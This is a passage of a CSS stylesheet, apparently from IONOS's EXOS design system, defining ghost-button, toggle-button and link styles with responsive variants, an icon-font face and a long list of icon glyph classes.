.ghost-button--large-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.ghost-button--medium-vertical-align-bottom {
align-self:flex-end
}
.ghost-button--medium-vertical-align-center {
align-self: center
}
.ghost-button--medium-vertical-align-middle {
vertical-align: middle
}
.ghost-button--medium-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (max-width: 666px) {
.ghost-button--small-vertical-align-bottom {
align-self:flex-end
}
.ghost-button--small-vertical-align-center {
align-self: center
}
.ghost-button--small-vertical-align-middle {
vertical-align: middle
}
.ghost-button--small-vertical-align-top {
align-self: flex-start
}
}
button.ghost-button {
border: none;
box-sizing: initial
}
.ghost-button__icon {
pointer-events: none
}
.ghost-button--with-icon .ghost-button__icon {
margin-right: 8px
}
.ghost-button--icon-only {
border-radius: 20px;
height: inherit;
margin: -7px 4px -7px -8px;
padding: 8px
}
@media only screen and (max-width: 666px) {
.action-stripe .ghost-button--icon-only,.settings-stripe .ghost-button--icon-only {
margin:0 4px 0 -8px
}
}
.ghost-button__text {
pointer-events: none
}
.ghost-button__loader {
bottom: 2.5px;
display: none;
margin-left: 12px;
position: relative
}
.ghost-button--loading {
cursor: default;
pointer-events: none
}
.ghost-button--loading .ghost-button__loader {
display: inline-block
}
.toggle-button {
position: relative
}
.toggle-button--collapsed {
line-height: 1;
line-height: 15.58px
}
.toggle-button--collapsed:after {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-left: 0;
margin-right: -8px;
margin-top: -2px;
padding-left: 8px;
vertical-align: top;
vertical-align: middle
}
.toggle-button--expanded {
line-height: 1;
line-height: 15.58px
}
.toggle-button--expanded:after {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-left: 0;
margin-right: -8px;
margin-top: -2px;
padding-left: 8px;
vertical-align: top;
vertical-align: middle
}
.toggle-button__content {
margin-top: 16px
}
.toggle-button__content--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.toggle-button__content--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.toggle-button__content--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.toggle-button__content--small-hidden {
display:none
}
}
.link,.toggle-link {
word-wrap: break-word;
cursor: pointer;
font-size: var(--default-text-size,var(--default-text-size,14px));
line-height: var(--default-text-line-height,var(--default-text-line-height,1.429em));
text-decoration: none
}
.link,.link:before,.toggle-link,.toggle-link:before {
color: var(--interactive-text-color,var(--interactive-text-color,#1474c4))
}
.__hover.toggle-link,.link.__hover,.link:active,.link:hover,.toggle-link:active,.toggle-link:hover {
color: var(--interactive-text-color,var(--interactive-text-color,#1474c4));
text-decoration: underline
}
.link:active:before,.link:hover:before,.toggle-link:active:before,.toggle-link:hover:before {
color: var(--interactive-text-color,var(--interactive-text-color,#1474c4))
}
.link:hover span,.toggle-link:hover span {
text-decoration: none
}
.link--active {
background-color: var(--palette-corporate-1,#dbedf8);
border-radius: 4px;
margin: -1px -4px;
padding: 1px 4px
}
.link--disabled {
cursor: not-allowed;
opacity: .5
}
.link--disabled:hover {
text-decoration: none
}
.link--bright.__hover,.link--bright.__hover:before,.link--bright:hover,.link--bright:hover:before {
color: var(--white,#fff)
}
.link--align-center {
justify-content: center;
text-align: center
}
.link--align-left {
justify-content: flex-start;
text-align: left
}
.link--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.link--large-align-center {
justify-content:center;
text-align: center
}
.link--large-align-left {
justify-content: flex-start;
text-align: left
}
.link--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.link--medium-align-center {
justify-content:center;
text-align: center
}
.link--medium-align-left {
justify-content: flex-start;
text-align: left
}
.link--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.link--small-align-center {
justify-content:center;
text-align: center
}
.link--small-align-left {
justify-content: flex-start;
text-align: left
}
.link--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.link--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.link--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.link--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.link--small-hidden {
display:none
}
}
.link--success {
color: var(--success-text-color,#096b35)
}
.link--warning {
color: var(--warning-text-color,#c36b00)
}
.link--critical {
color: var(--critical-text-color,#c80a00)
}
.link--neutral {
color: var(--neutral-text-color,#465a75)
}
.link--activating {
color: var(--activating-text-color,#007e9c)
}
.link--promoting {
color: var(--promoting-text-color,#560e8a)
}
.link--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.link--bright {
color: var(--white,#fff)
}
.link--success:before {
color: var(--success-text-color,#096b35)
}
.link--warning:before {
color: var(--warning-text-color,#c36b00)
}
.link--critical:before {
color: var(--critical-text-color,#c80a00)
}
.link--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.link--activating:before {
color: var(--activating-text-color,#007e9c)
}
.link--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.link--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.link--bright:before {
color: var(--white,#fff)
}
.link--break-all {
word-break: break-all
}
.link--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.link--small-break-all {
word-break:break-all
}
.link--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.link--medium-break-all {
word-break:break-all
}
.link--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.link--large-break-all {
word-break:break-all
}
.link--large-break-word {
word-break: break-word
}
}
.link--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.link--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.link--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.link--large-nowrap {
white-space:nowrap
}
}
.link--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.link--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.link--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.link--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.link--vertical-align-bottom {
align-self: flex-end
}
.link--vertical-align-center {
align-self: center
}
.link--vertical-align-middle {
vertical-align: middle
}
.link--vertical-align-top {
align-self: flex-start
}
@media only screen and (min-width: 1185px) {
.link--large-vertical-align-bottom {
align-self:flex-end
}
.link--large-vertical-align-center {
align-self: center
}
.link--large-vertical-align-middle {
vertical-align: middle
}
.link--large-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.link--medium-vertical-align-bottom {
align-self:flex-end
}
.link--medium-vertical-align-center {
align-self: center
}
.link--medium-vertical-align-middle {
vertical-align: middle
}
.link--medium-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (max-width: 666px) {
.link--small-vertical-align-bottom {
align-self:flex-end
}
.link--small-vertical-align-center {
align-self: center
}
.link--small-vertical-align-middle {
vertical-align: middle
}
.link--small-vertical-align-top {
align-self: flex-start
}
}
.link--lookup {
word-wrap: break-word;
background-color: transparent;
line-height: var(--default-text-line-height,1.429em)
}
.link--lookup,.link--lookup:hover {
border-bottom: 1px dotted var(--default-shape-color,#465a75);
color: var(--default-text-color,#001b41);
cursor: help;
text-decoration: none
}
.link--lookup:hover {
background-color: var(--palette-corporate-1,#dbedf8)
}
.link--action {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--action:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
vertical-align: top;
vertical-align: middle
}
.link--external-action {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--external-action:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
vertical-align: top;
vertical-align: middle
}
.link--back {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--back:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
.link--prev {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--prev:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
.link--next {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--next:after {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-right: -3px;
margin-top: -3px;
padding-left: 4px;
vertical-align: top;
vertical-align: middle
}
.link--delete {
color: var(--critical-text-color,#c80a00);
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--delete:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
vertical-align: top;
vertical-align: middle
}
.link--delete:before,.link--delete:hover,.link--delete:hover:before {
color: var(--critical-text-color,#c80a00)
}
.link--no {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--no:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-left: 1px;
margin-top: -2px;
padding-right: 2px;
vertical-align: top;
vertical-align: middle
}
.link--yes {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--yes:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-size: 90%;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
.link--upselling {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--upselling:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
vertical-align: top;
vertical-align: middle
}
.link--secure {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--secure:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-left: -2px;
margin-top: -3px;
padding-right: 2px;
vertical-align: top;
vertical-align: middle
}
.link--print {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--print:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
.link--download {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--download:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
.link--facebook {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--facebook:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
.link--twitter {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--twitter:before {
color: #57b5fd;
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
.link--gplus {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--gplus:before {
color: #d60600;
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
.link--friend {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--friend:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
.link--helpandlearn {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--helpandlearn:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 3px;
vertical-align: top;
vertical-align: middle
}
.link--pointer {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--pointer:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
.link--new {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--new:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
.link--beta {
line-height: 1;
line-height: var(--default-text-line-height,1.429em)
}
.link--beta:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 4px;
vertical-align: top
}
.link--beta:before,.link--exos-icon {
vertical-align: middle
}
.link--exos-icon:before {
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
margin-top: -3px;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
@media only screen and (max-width: 666px) {
.headless-mode .link--headless-hidden {
display:none
}
}
button.link,button.toggle-link {
background: transparent;
border: 0;
padding: 0
}
button.link:not(.__hover).__direct-selection--target,button.toggle-link:not(.__hover).__direct-selection--target {
text-decoration: none
}
@font-face {
-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;speak:none;font-family: exos-icon-font;
font-style: normal;
font-variant: normal;
font-weight: 400;
line-height:1;src: url(https://ce1.uicdn.net/exos/icons/exos-icon-font.woff?v=16) format("woff"),url(https://ce1.uicdn.net/exos/icons/exos-icon-font.woff2?v=16) format("woff2");
text-transform:none}
.exos-icon {
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
font-family: exos-icon-font
}
.exos-icon-logoonbright:before {
content: ""
}
.exos-icon-logoondark:before {
content: ""
}
.exos-icon-domainsinfrastructure-58:before {
content: ""
}
.exos-icon-webspaceinfrastructure-58:before {
content: ""
}
.exos-icon-storage-58:before {
content: ""
}
.exos-icon-centerserver-58:before {
content: ""
}
.exos-icon-centerapplications-58:before {
content: ""
}
.exos-icon-centeronlinemarketing-58:before {
content: ""
}
.exos-icon-centercommunication-58:before {
content: ""
}
.exos-icon-centeruserdata-58:before {
content: ""
}
.exos-icon-centermisc-58:before {
content: ""
}
.exos-icon-news-58:before {
content: ""
}
.exos-icon-starrating-58:before {
content: ""
}
.exos-icon-package-58:before {
content: ""
}
.exos-icon-listitem-24:before {
content: ""
}
.exos-icon-listitemhover-24:before {
content: ""
}
.exos-icon-x-listitemhover:before {
content: ""
}
.exos-icon-x-listitem:before {
content: ""
}
.exos-icon-productplaceholder-32:before {
content: ""
}
.exos-icon-ftpoverviewng-32:before {
content: ""
}
.exos-icon-businessdirectory-32:before {
content: ""
}
.exos-icon-alertsecurity-32:before {
content: ""
}
.exos-icon-alertstatement-32:before {
content: ""
}
.exos-icon-webstat-32:before {
content: ""
}
.exos-icon-shopconfig-32:before {
content: ""
}
.exos-icon-toolnewsletter-32:before {
content: ""
}
.exos-icon-serviceconfig-32:before {
content: ""
}
.exos-icon-servertechdata-32:before {
content: ""
}
.exos-icon-seo-32:before {
content: ""
}
.exos-icon-semframe-32:before {
content: ""
}
.exos-icon-packageinformation-32:before {
content: ""
}
.exos-icon-mywebsiteoverview-32:before {
content: ""
}
.exos-icon-mobileapps-32:before {
content: ""
}
.exos-icon-messageboard-32:before {
content: ""
}
.exos-icon-domainndenterdomain-32:before {
content: ""
}
.exos-icon-dbmysqloverview-32:before {
content: ""
}
.exos-icon-tractinvoiceoverview-32:before {
content: ""
}
.exos-icon-figtuneup-32:before {
content: ""
}
.exos-icon-collaborationcreateaccount-32:before {
content: ""
}
.exos-icon-appcatalogue-32:before {
content: ""
}
.exos-icon-aloverview-32:before {
content: ""
}
.exos-icon-adddomain-32:before {
content: ""
}
.exos-icon-alerttriangle-16:before {
content: ""
}
.exos-icon-arrow-24:before {
content: ""
}
.exos-icon-x-arrow:before {
content: ""
}
.exos-icon-deleteinput-16:before {
content: ""
}
.exos-icon-link-action-14:before {
content: ""
}
.exos-icon-link-external-14:before {
content: ""
}
.exos-icon-link-extend-14:before {
content: ""
}
.exos-icon-link-collapse-14:before {
content: ""
}
.exos-icon-webspaceexplorer-32:before {
content: ""
}
.exos-icon-googletools-32:before {
content: ""
}
.exos-icon-cdnoverview-32:before {
content: ""
}
.exos-icon-toolwebfix-32:before {
content: ""
}
.exos-icon-phpoverview-32:before {
content: ""
}
.exos-icon-sitelockadministration-32:before {
content: ""
}
.exos-icon-dbmssqloverview-32:before {
content: ""
}
.exos-icon-sshcron-32:before {
content: ""
}
.exos-icon-helptip-64:before {
content: ""
}
.exos-icon-search-16:before {
content: ""
}
.exos-icon-check-26:before {
content: ""
}
.exos-icon-fail-26:before {
content: ""
}
.exos-icon-hint-26:before {
content: ""
}
.exos-icon-socialmediamanager-32:before {
content: ""
}
.exos-icon-facebookpagebuilder-32:before {
content: ""
}
.exos-icon-help-18:before {
content: ""
}
.exos-icon-branchenbuchserviceoverviewext-32:before {
content: ""
}
.exos-icon-navarrowright-16:before {
content: ""
}
.exos-icon-navarrowleft-16:before {
content: ""
}
.exos-icon-tacts-32:before {
content: ""
}
.exos-icon-settings-32:before {
content: ""
}
.exos-icon-steps-32:before {
content: ""
}
.exos-icon-form-32:before {
content: ""
}
.exos-icon-mail-16:before {
content: ""
}
.exos-icon-password-16:before {
content: ""
}
.exos-icon-smiley-16:before {
content: ""
}
.exos-icon-fax-16:before {
content: ""
}
.exos-icon-person-16:before {
content: ""
}
.exos-icon-location-32:before {
content: ""
}
.exos-icon-dashboard-32:before {
content: ""
}
.exos-icon-home-32:before {
content: ""
}
.exos-icon-sorry-16:before {
content: ""
}
.exos-icon-marker-16:before {
content: ""
}
.exos-icon-helparticle-16:before {
content: ""
}
.exos-icon-edit-16:before {
content: ""
}
.exos-icon-tactdata-32:before {
content: ""
}
.exos-icon-tract-32:before {
content: ""
}
.exos-icon-checkbox-cb100abd-16:before {
content: ""
}
.exos-icon-checkbox-cb100ef-16:before {
content: ""
}
.exos-icon-checkbox-cb100c-16:before {
content: ""
}
.exos-icon-checkbox-background-16:before {
content: ""
}
.exos-icon-radiobutton-rb100abd-16:before {
content: ""
}
.exos-icon-radiobutton-rb100ef-16:before {
content: ""
}
.exos-icon-radiobutton-rb100c-16:before {
content: ""
}
.exos-icon-radiobutton-background-16:before {
content: ""
}
.exos-icon-bullet1-16:before {
content: ""
}
.exos-icon-bullet2-16:before {
content: ""
}
.exos-icon-bullet3-16:before {
content: ""
}
.exos-icon-addavatar-48:before {
content: ""
}
.exos-icon-location-20:before {
content: ""
}
.exos-icon-desktop-20:before {
content: ""
}
.exos-icon-tablet-20:before {
content: ""
}
.exos-icon-smartphone-20:before {
content: ""
}
.exos-icon-mail-32:before {
content: ""
}
.exos-icon-downtriarrow-16:before {
content: ""
}
.exos-icon-calender-16:before {
content: ""
}
.exos-icon-messageclose-24:before {
content: ""
}
.exos-icon-messageopen-24:before {
content: ""
}
.exos-icon-messagesecurity-24:before {
content: ""
}
.exos-icon-messageimportant-24:before {
content: ""
}
.exos-icon-arrowcollapse-20:before {
content: ""
}
.exos-icon-arrowextend-20:before {
content: ""
}
.exos-icon-star-24:before {
content: ""
}
.exos-icon-staroutline-24:before {
content: ""
}
.exos-icon-check-16:before {
content: ""
}
.exos-icon-cross-16:before {
content: ""
}
.exos-icon-backup-20:before {
content: ""
}
.exos-icon-backupfile-20:before {
content: ""
}
.exos-icon-backupdatabase-20:before {
content: ""
}
.exos-icon-premium-16:before {
content: ""
}
.exos-icon-ssl-32:before {
content: ""
}
.exos-icon-delete-14:before {
content: ""
}
.exos-icon-premium-14:before {
content: ""
}
.exos-icon-group-16:before {
content: ""
}
.exos-icon-list-16:before {
content: ""
}
.exos-icon-protection-16:before {
content: ""
}
.exos-icon-resource-16:before {
content: ""
}
.exos-icon-absent-16:before {
content: ""
}
.exos-icon-trash-16:before {
content: ""
}
.exos-icon-pagenavbackwards-16:before {
content: ""
}
.exos-icon-pagenavforward-16:before {
content: ""
}
.exos-icon-forward-16:before {
content: ""
}
.exos-icon-tabletview-32:before {
content: ""
}
.exos-icon-mobileview-32:before {
content: ""
}
.exos-icon-file-32:before {
content: ""
}
.exos-icon-fileimage-32:before {
content: ""
}
.exos-icon-filevideo-32:before {
content: ""
}
.exos-icon-fileaudio-32:before {
content: ""
}
.exos-icon-warning-16:before {
content: ""
}
.exos-icon-layout-16:before {
content: ""
}
.exos-icon-searchable-16:before {
content: ""
}
.exos-icon-security-16:before {
content: ""
}
.exos-icon-performance-16:before {
content: ""
}
.exos-icon-facebook-32:before {
content: ""
}
.exos-icon-twitter-32:before {
content: ""
}
.exos-icon-googleplus-32:before {
content: ""
}
.exos-icon-community-32:before {
content: ""
}
.exos-icon-checkbox-innercheck-16:before {
content: ""
}
.exos-icon-radiobutton-innercircle-16:before {
content: ""
}
.exos-icon-informationmessage-32:before {
content: ""
}
.exos-icon-firmationmessage-32:before {
content: ""
}
.exos-icon-warningmessage-32:before {
content: ""
}
.exos-icon-errormessage-32:before {
content: ""
}
.exos-icon-fatalerrormessage-32:before {
content: ""
}
.exos-icon-domain-24:before {
content: ""
}
.exos-icon-neutral-16:before {
content: ""
}
.exos-icon-print-20:before {
content: ""
}
.exos-icon-download-20:before {
content: ""
}
.exos-icon-menue-20:before {
content: ""
}
.exos-icon-info-20:before {
content: ""
}
.exos-icon-helpdark-20:before {
content: ""
}
.exos-icon-ascending-14:before {
content: ""
}
.exos-icon-descending-14:before {
content: ""
}
.exos-icon-downloadvcard-32:before {
content: ""
}
.exos-icon-closecard-24:before {
content: ""
}
.exos-icon-mail-24:before {
content: ""
}
.exos-icon-logout-16:before {
content: ""
}
.exos-icon-user-32:before {
content: ""
}
.exos-icon-search-32:before {
content: ""
}
.exos-icon-mobile-32:before {
content: ""
}
.exos-icon-uptriarrow-16:before {
content: ""
}
.exos-icon-dialogmessage-32:before {
content: ""
}
.exos-icon-neutralmessage-32:before {
content: ""
}
.exos-icon-securitymessage-32:before {
content: ""
}
.exos-icon-promo-call-72:before {
content: ""
}
.exos-icon-promo-money-72:before {
content: ""
}
.exos-icon-flyoutmenu-16:before {
content: ""
}
.exos-icon-flyoutinfo-16:before {
content: ""
}
.exos-icon-plus-16:before {
content: ""
}
.exos-icon-pause-16:before {
content: ""
}
.exos-icon-queued-16:before {
content: ""
}
.exos-icon-code-16:before {
content: ""
}
.exos-icon-nav-sidebar-20:before {
content: ""
}
.exos-icon-nav-close-20:before {
content: ""
}
.exos-icon-nav-open-20:before {
content: ""
}
.exos-icon-nav-notify-16:before {
content: ""
}
.exos-icon-nav-search-16:before {
content: ""
}
.exos-icon-nav-user-16:before {
content: ""
}
.exos-icon-beta-32:before {
content: ""
}
.exos-icon-webanalytics-32:before {
content: ""
}
.exos-icon-openwindow-20:before {
content: ""
}
.exos-icon-message-16:before {
content: ""
}
.exos-icon-read-16:before {
content: ""
}
.exos-icon-centerserver-32:before {
content: ""
}
.exos-icon-nav-back-20:before {
content: ""
}
.exos-icon-folder-16:before {
content: ""
}
.exos-icon-messageimportant-16:before {
content: ""
}
.exos-icon-folder-open-16:before {
content: ""
}
.exos-icon-folder-upload-16:before {
content: ""
}
.exos-icon-folder-download-16:before {
content: ""
}
.exos-icon-folder-plus-16:before {
content: ""
}
.exos-icon-folder-minus-16:before {
content: ""
}
.exos-icon-smiley-happy-32:before {
content: ""
}
.exos-icon-smiley-smile-32:before {
content: ""
}
.exos-icon-smiley-disappointed-32:before {
content: ""
}
.exos-icon-nav-lock-16:before {
content: ""
}
.exos-icon-nav-lookup-16:before {
content: ""
}
.exos-icon-nav-new-16:before {
content: ""
}
.exos-icon-nav-lock-close-16:before {
content: ""
}
.exos-icon-wakeup-24:before {
content: ""
}
.exos-icon-call-64:before {
content: ""
}
.exos-icon-community-64:before {
content: ""
}
.exos-icon-contact-callback-64:before {
content: ""
}
.exos-icon-contact-livechat-64:before {
content: ""
}
.exos-icon-contact-mail-64:before {
content: ""
}
.exos-icon-domain-64:before {
content: ""
}
.exos-icon-help-eshop-64:before {
content: ""
}
.exos-icon-help-invoice-64:before {
content: ""
}
.exos-icon-help-listlocal-64:before {
content: ""
}
.exos-icon-help-mail-64:before {
content: ""
}
.exos-icon-help-mywebsite-64:before {
content: ""
}
.exos-icon-help-onlinemarketing-64:before {
content: ""
}
.exos-icon-help-server-64:before {
content: ""
}
.exos-icon-help-webhosting-64:before {
content: ""
}
.exos-icon-security-check-fill-16:before {
content: ""
}
.exos-icon-security-check-border-16:before {
content: ""
}
.exos-icon-pagenavend-16:before {
content: ""
}
.exos-icon-pagenavstart-16:before {
content: ""
}
.exos-icon-security-check-fill-64:before {
content: ""
}
.exos-icon-security-check-border-64:before {
content: ""
}
.exos-icon-favstar-16:before {
content: ""
}
.exos-icon-cpnews-58:before {
content: ""
}
.exos-icon-help-protection-64:before {
content: ""
}
.exos-icon-thumbup-32:before {
content: ""
}
.exos-icon-help-contract-64:before {
content: ""
}
.exos-icon-help-privacyprotection-64:before {
content: ""
}
.exos-icon-help-settings-64:before {
content: ""
}
.exos-icon-help-address-64:before {
content: ""
}
.exos-icon-bullet4-16:before {
content: ""
}
.exos-icon-bullet5-16:before {
content: ""
}
.exos-icon-bullet6-16:before {
content: ""
}
.exos-icon-bullet7-16:before {
content: ""
}
.exos-icon-bullet8-16:before {
content: ""
}
.exos-icon-bullet9-16:before {
content: ""
}
.exos-icon-promo-helpcenter-72:before {
content: ""
}
.exos-icon-promo-contactserivce-72:before {
content: ""
}
.exos-icon-meinekontaktwuensche-32:before {
content: ""
}
.exos-icon-back-arrow-24:before {
content: ""
}
.exos-icon-icon-beta:before {
content: ""
}
.exos-icon-server-and-cloud-64:before {
content: ""
}
.exos-icon-anhang-24:before {
content: ""
}
.exos-icon-mobilesitedashboard-32:before {
content: ""
}
.exos-icon-office-58:before {
content: ""
}
.exos-icon-mobile-64:before {
content: ""
}
.exos-icon-desktop-64:before {
content: ""
}
.exos-icon-android-64:before {
content: ""
}
.exos-icon-apple-64:before {
content: ""
}
.exos-icon-call-24:before {
content: ""
}
.exos-icon-myaccount-64:before {
content: ""
}
.exos-icon-sevdesk-64:before {
content: ""
}
.exos-icon-rankingcoach-64:before {
content: ""
}
.exos-icon-lightbulb-leer-14:before {
content: ""
}
.exos-icon-clipboard-copy-14:before {
content: ""
}
.exos-icon-administrate-14:before {
content: ""
}
.exos-icon-livechat-58:before {
content: ""
}
.exos-icon-emailform-58:before {
content: ""
}
.exos-icon-callback-58:before {
content: ""
}
.exos-icon-dls-and-mobil-64:before {
content: ""
}
.exos-icon-download-document-14:before {
content: ""
}
.exos-icon-feedback-14:before {
content: ""
}
.exos-icon-ccagent-14:before {
content: ""
}
.exos-icon-file-powerpoint-16:before {
content: ""
}
.exos-icon-file-word-16:before {
content: ""
}
.exos-icon-file-excel-16:before {
content: ""
}
.exos-icon-file-music-16:before {
content: ""
}
.exos-icon-file-pdf-16:before {
content: ""
}
.exos-icon-file-picture-16:before {
content: ""
}
.exos-icon-file-text-16:before {
content: ""
}
.exos-icon-file-video-16:before {
content: ""
}
.exos-icon-file-16:before {
content: ""
}
.exos-icon-folder-small-16:before {
content: ""
}
.exos-icon-wrench-16:before {
content: ""
}
.exos-icon-file-javascript-16:before {
content: ""
}
.exos-icon-file-perl-16:before {
content: ""
}
.exos-icon-file-shell-16:before {
content: ""
}
.exos-icon-file-python-16:before {
content: ""
}
.exos-icon-file-php-16:before {
content: ""
}
.exos-icon-file-css-16:before {
content: ""
}
.exos-icon-file-zip-16:before {
content: ""
}
.exos-icon-file-sql-16:before {
content: ""
}
.exos-icon-file-xml-16:before {
content: ""
}
.exos-icon-file-html-16:before {
content: ""
}
.exos-icon-json-16:before {
content: ""
}
.exos-icon-upload-16:before {
content: ""
}
.exos-icon-exchange-16:before {
content: ""
}
.exos-icon-mail-business-16:before {
content: ""
}
.exos-icon-usage-data-48:before {
content: ""
}
.exos-icon-call-16:before {
content: ""
}
.exos-icon-crown-20:before {
content: ""
}
.exos-icon-onelogoondark:before {
content: ""
}
.exos-icon-contract-48:before {
content: ""
}
.exos-icon-database-more-48:before {
content: ""
}
.exos-icon-invoice-48:before {
content: ""
}
.exos-icon-lock-48:before {
content: ""
}
.exos-icon-domain-48:before {
content: ""
}
.exos-icon-email-48:before {
content: ""
}
.exos-icon-hosting-48:before {
content: ""
}
.exos-icon-accounting-48:before {
content: ""
}
.exos-icon-online-marketing-48:before {
content: ""
}
.exos-icon-security-48:before {
content: ""
}
.exos-icon-servers-and-cloud-48:before {
content: ""
}
.exos-icon-website-48:before {
content: ""
}
.exos-icon-more-48:before {
content: ""
}
.exos-icon-digitalisation-48:before {
content: ""
}
.exos-icon-shoppingcart-16:before {
content: ""
}
.exos-icon-show-16:before {
content: ""
}
.exos-icon-hide-16:before {
content: ""
}
.exos-icon-webpro-16:before {
content: ""
}
.exos-icon-donut-16:before {
content: ""
}
.exos-icon-home-16:before {
content: ""
}
.exos-icon-ionosondark:before {
content: ""
}
.exos-icon-onelogoondark_two:before {
content: ""
}
.exos-icon-ionos_empty:before {
content: ""
}
.exos-icon-microphone-16:before {
content: ""
}
.exos-icon-home-24:before {
content: ""
}
.exos-icon-shield-24:before {
content: ""
}
